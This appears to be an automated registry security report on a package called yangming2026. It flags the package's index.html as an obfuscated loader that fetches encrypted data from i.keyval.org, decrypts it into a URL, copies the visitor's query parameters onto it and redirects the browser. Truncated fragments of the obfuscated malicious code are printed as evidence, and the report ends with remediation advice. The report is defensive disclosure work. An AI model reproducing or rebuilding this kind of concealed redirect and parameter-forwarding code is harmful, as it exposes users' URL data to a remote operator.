registry / Data exfiltration / yangming2026
yangming2026
This report shows the evidence for yangming2026@1.0.0, the only known version.
AI Security Review
scanned 25d ago · by lpm-firewall-aiThis is an active, concealed remote redirect chain that forwards browser URL parameters to a remotely selected destination. The package has no visible package-aligned functionality beyond that behavior.
Static reason
One or more suspicious static signals were detected.
Trigger
Opening index.html in a browser.
Impact
Query-string data can be disclosed to an operator-selected destination, which can also change without republishing the package.
Mechanism
A remote key lookup provides encrypted destination data; the script decrypts it, adds current URL parameters, and redirects the browser.
Attack narrative
When the declared HTML entrypoint is opened, its obfuscated script retrieves encrypted destination data from a remote key service. It decrypts that data into a URL, copies the current page parameters to the destination, and redirects the browser. This enables a remote operator to select the final recipient and receive forwarded URL data.
AI rationale
This is an active, concealed remote redirect chain that forwards browser URL parameters to a remotely selected destination. The package has no visible package-aligned functionality beyond that behavior.
Evidence
index.html
Network endpoints1
i.keyval.org/get
Decision evidence
public snapshotAI called this Malicious at 96.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package declares index.html as its only main entrypoint.
- The entrypoint sends a request to i.keyval.org to obtain remotely controlled data.
- Obfuscated code decrypts the remote response into a URL.
- The page copies current URL parameters into that URL and redirects the browser to it.
Evidence against
Behavioral surface
Network
HighEntropyStringsMinifiedPossibleObfuscation
NoLicense
Source & flagged code
7 flagged · loading sourceindex.htmlView file
182}
L183: (function(_0x28c078,_0x3fd7a9){const _0x582f0e={_0x2cf54d:0x288,_0x48e371:0x2b6,_0x2036e8:0x331,_0x1573b8:0x298,_0x18ab7f:0x2d7,_0x10a2c3:0x187,_0x4e7a58:0x104,_0x423f0e:0x213,_0x4...
High
Obfuscated Payload Loader
Source contains an obfuscated payload loader that reconstructs and executes hidden code.
index.htmlView on unpkg · L182•stage = html_entrypoint_analysis; reason = referenced_script_not_statically_covered; limitedFiles = 1
High
Semantic Analysis Limited
A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.
index.htmlView on unpkg183fetch(_0x3c0213(-0x21c,-0x195,-_0x27bc72._0x26e7e5,-_0x27bc72._0x3344bb)+'i.keyval.o'+'rg/get',{'method':_0x5a953e[_0x5de507(-_0x27bc72._0x326b3c,-0x2ce,-_0x27bc72._0x1c052f,-_0x27bc72._0x36f9be)],'headers':{'Content-Type':_0x5a953e['dRMcS']},'body':JSON[_0x5de507(-0x26d,-_0x27bc72._0x57ca93,-_0x27bc72._0x4b4e79,-_0x27bc72._0x29212b)](_0x8ab369)}),_0x381024=await _0x596b5b[_0x5de507(-_0x27bc72._0x292a6f,-_0x27bc72._0x3d1b31,-_0x27bc72._
High
Ai Review Evidence
The entrypoint sends a request to i.keyval.org to obtain remotely controlled data.
index.htmlView on unpkg · L183183_0x323e0f,-_0x27bc72._0x5e9ddb,-_0x27bc72._0x34a830)]=_0x5a953e['MTNQn'];function _0x3c0213(_0x5b1a3d,_0x2d2946,_0x2f5c08,_0x53ce42){return _0x99acf0(_0x5b1a3d-_0x1efb7c._0x2b2659,_0x53ce42,_0x5b1a3d- -_0x1efb7c._0x245a6b,_0x53ce42-_0x1efb7c._0x31fdc2);}_0x1454f4['counter']=_0x46c440,_0x1454f4[_0x3c0213(-_0x27bc72._0xb366c5,-0x181,-_0x27bc72._0x23b0fb,-_0x27bc72._0x110536)]=0x80;const _0x49721e=new TextDecoder()[_0x3c0213(-0x2
High
Ai Review Evidence
Obfuscated code decrypts the remote response into a URL.
index.htmlView on unpkg · L183183URLSearchParams(window['location'][_0x12e60f(0x2c4,0x277,_0x2baf7b._0x3f79b7,_0x2baf7b._0x5b8dc8)])[_0x21197f(-_0x2baf7b._0x18a306,-_0x2baf7b._0x2de692,-_0x2baf7b._0x1b3386,-0x144)](function(_0x2f2b15,_0x5d4de8){const _0x73f941={_0xa57ea7:0x26};function _0x4928f8(_0x3691a5,_0x36768e,_0x24a3b7,_0x2a9bfd){return _0x21197f(_0x36768e-0x7b,_0x24a3b7,_0x24a3b7-_0x73f941._0xa57ea7,_0x2a9bfd-0x36);}function _0x3162b9(_0x4af098,_0x5555
High
Ai Review Evidence
The page copies current URL parameters into that URL and redirects the browser to it.
index.htmlView on unpkg · L183183new URL(_0x307825,_0x558c6a||undefined);function _0x3857b6(_0x2e902e,_0x20ff8f,_0x1a2175,_0x505ce4){return _0x1995b1(_0x2e902e-_0x458735._0x494071,_0x20ff8f-0x117,_0x2e902e,_0x1a2175-_0x458735._0x5a05ce);}_0x30ffd8[_0x3857b6(_0x448753._0x2ad03c,_0x448753._0x95ce45,0x28b,0x28d)](appendVisitorParams,_0x2ec5b5);function _0xf7aa29(_0x16c88f,_0x4a8b2d,_0xe09040,_0x45d46f){return _0x1995b1(_0x16c88f-_0x2df847._0x1be8cd,_0x4a8b2d-_0x2df847._0x5225c0,_0x16c88f,_0xe09040-_0x2df847._0x1c334a);}window[_0x3857b6(_0x448753._0x47085a,_0x448753._0x5005af,_0x448753._0x11da12,_0x448753._0x2fa561)][_0xf7aa29(_0
High
Ai Review Evidence
The page copies current URL parameters into that URL and redirects the browser to it.
index.htmlView on unpkg · L183package.jsonView file
1{
"name": "yangming2026",
"version": "1.0.0",
"main": "index.html",
"files": [
"index.html"
]
}
High
Ai Review Evidence
The package declares index.html as its only main entrypoint.
package.jsonView on unpkg · L1Findings
7 High2 Medium2 Low
HighObfuscated Payload Loaderindex.html
HighSemantic Analysis Limitedindex.html
HighAi Review Evidencepackage.json
HighAi Review Evidenceindex.html
HighAi Review Evidenceindex.html
HighAi Review Evidenceindex.html
HighAi Review Evidenceindex.html
MediumNetwork
MediumStructural Risk Force Deep Review
LowHigh Entropy Strings
LowNo License
Affected versions and remediation
This report applies to yangming2026@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing yangming2026@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.